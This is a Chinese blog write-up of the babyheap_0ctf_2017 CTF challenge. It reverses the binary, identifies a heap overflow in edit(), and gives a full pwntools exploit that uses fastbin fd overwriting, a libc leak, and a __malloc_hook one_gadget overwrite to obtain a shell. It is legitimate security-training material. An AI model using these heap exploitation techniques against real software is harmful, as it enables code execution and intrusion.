关于Babyheap_0ctf_2017

Findkey Lv1

程序分析

1.查看保护

  • checksec一下
    alt text
    保护全开,拼尽全力无法战胜()

2.分析程序

  • 将程序使用ida打开
    alt text
    找到了main函数

  • sub_B70()
    发现是初始化函数,重命名为initial
    alt text

  • sub_CF4()
    alt text
    显然是menu函数,用来打印,重命名为menu

  • sub_138C()
    alt text
    是读入选择,重命名为choice()

    • sub_123D()
      alt text
      是读入函数,重命名为reads()
  • sub_D48()
    alt text
    注意到calloc,是申请堆块,
    堆块信息放在一个结构体数组里,重命名为allocate()

    1
    2
    3
    4
    5
    6
    struct page
    {
    long long flag;
    long long size;
    char* content;
    };
  • sub_E7F()
    alt text
    是往写chunk入内容,重命名为eidt()

    • sub_11B2()
      alt text
      就是写入函数的具体实现
  • sub_F50()
    alt text
    是free堆块,重命名为delete()

  • sub_1051()
    alt text
    是输出堆块内容,重命名为show

    • sub_130F()
      alt text
      这是输出函数的具体实现

以上就是程序分析

漏洞分析与实现

注意到edit()函数里读入的长度是自己输入的size,如果输入的size大于chunk块的大小,就会发生溢出.

那么就可以通过覆写修改bins中chunk的fd或者bk就能使得 没有free的chunk 处于bins中,然后通过malloc得到又一个指向 地方的指针

malloc_hook是一个神奇的函数指针,如果它不为空,那么在malloc时就会先调用malloc_hook指向的函数,我们可以通过one_gadget工具获取神奇的 类后门函数 地址

由于开了PIE保护,我们不得不泄露libc地址,这就需要unsorted bins

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

#加载程序
io=process('./babyheap')

#定义交互函数,不然脚本会过于臃肿
def add(size: int):
cmd(1)
io.recvuntil(b'Size:')
io.sendline(str(size).encode())


def edit(idx: int, size: int, content: bytes):
cmd(2)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
io.recvuntil(b'Size:')
io.sendline(str(size).encode())
io.recvuntil(b'Content:')
io.send(content)


def delete(idx: int):
cmd(3)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())


def show(idx: int):
cmd(4)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())

然后申请堆块

1
2
3
4
5
add(0x10)  # 0        用于覆写
add(0x10) # 1 1,2号下面要放入 fastbins
add(0x10) # 2
add(0x10) # 3 用于覆写
add(0x80) # 4

将1,2号free掉

1
2
delete(1)
delete(2)

fastbins中
2->1
2的fd指针指向1
通过edit(0)覆写2的fd指针

1
2
3
##这里会把fd最后两位覆盖成0x80
extend = flat(0, 0, 0, 0x21, 0, 0, 0, 0x21)+b'\x80'
edit(0, len(extend), extend)

不过我们还需要修改4的size位,要符合1,2所在的 fastbins 的大小

1
2
extend = flat(0, 0, 0, 0x21)
edit(3, len(extend), extend)

然后malloc俩chunk

1
2
add(0x10)  # idx1 to 2
add(0x10) # idx2 to 4

我们的2指针指向了4
然后把4的size还原

1
2
extend = flat(0, 0, 0, 0x91)
edit(3, len(extend), extend)

为了隔离4和top chunk,我们还需要申请一个chunk

1
add(0x80)  # 5

然后安心free(4),把它置入 unsorted bins

1
delete(4)

此时4的fd指针写的是main_arena相关的地址
我们可以通过show(2)来泄露这个地址

1
2
3
4
5
6
show(2)
io.recvuntil(b'Content: \n')
main_arena = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00'))
log.success('main_arena:'+hex(main_arena))
libc_base = main_arena-0x3c4b78
log.success('libc:'+hex(libc_base))

现在,我们得到了libc的基地址
然后开始伪造chunk,将one_gadget的内容填入__malloc_hook

1
2
3
4
5
6
7
8
9
10
add(0x60)  # 4

delete(4)

#同样是修改free后的4的fd指针
extend = p64(libc_base+0x3c4aed) #__malloc_hook附近
edit(2, len(extend), extend)

add(0x60) # 4
add(0x60) # 6

6就是fake chunk,
直接修改__malloc_hook的值

1
2
extend = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
edit(6, len(extend), extend)

然后调用malloc就能get shell了

1
2
3
add(123)

io.interactive()

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF("./libc-2.23.so")
io = process('./babyheap_0ctf_2017')
# io = remote()

'''
struct page
{
long long flag;
long long size;
char* content;
};
'''


def cmd(s: int):
io.recvuntil(b'Command:')
io.sendline(str(s).encode())


def add(size: int):
cmd(1)
io.recvuntil(b'Size:')
io.sendline(str(size).encode())


def edit(idx: int, size: int, content: bytes):
cmd(2)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
io.recvuntil(b'Size:')
io.sendline(str(size).encode())
io.recvuntil(b'Content:')
io.send(content)


def delete(idx: int):
cmd(3)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())


def show(idx: int):
cmd(4)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())


# gdb.attach(io, 'b *$rebase(0x113d)')

add(0x10) # 0
add(0x10) # 1
add(0x10) # 2
add(0x10) # 3
add(0x80) # 4

delete(1)
delete(2)

# 用edit(0)覆盖2的fd
extend = flat(0, 0, 0, 0x21, 0, 0, 0, 0x21)+b'\x80'
edit(0, len(extend), extend)

# 用edit(3)覆盖4的size
extend = flat(0, 0, 0, 0x21)
edit(3, len(extend), extend)

add(0x10) # idx1 to 2
add(0x10) # idx2 to 4

extend = flat(0, 0, 0, 0x91)
edit(3, len(extend), extend)

# 隔离4和top chunk
add(0x80) # 5

# free掉4
delete(4)

# idx2指向4,show(2)可以泄露4的内容
show(2)

# 泄露libc
# 接收main_arane的地址
io.recvuntil(b'Content: \n')
main_arena = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00'))
log.success('main_arena:'+hex(main_arena))
libc_base = main_arena-0x3c4b78
log.success('libc:'+hex(libc_base))

# 伪造chunk
add(0x60) # 4

delete(4)
extend = p64(libc_base+0x3c4aed)
edit(2, len(extend), extend)

add(0x60) # 4
add(0x60) # 6

# get shell
extend = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
edit(6, len(extend), extend)

add(123)

io.interactive()

结语

跌跌撞撞终于写出了第一个堆题
就记录一下.

  • Title: 关于Babyheap_0ctf_2017
  • Author: Findkey
  • Created at : 2024-12-08 11:48:45
  • Updated at : 2024-12-08 15:09:57
  • Link: https://find-key.github.io/2024/12/08/关于babyheap_0ctf_2017/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
关于Babyheap_0ctf_2017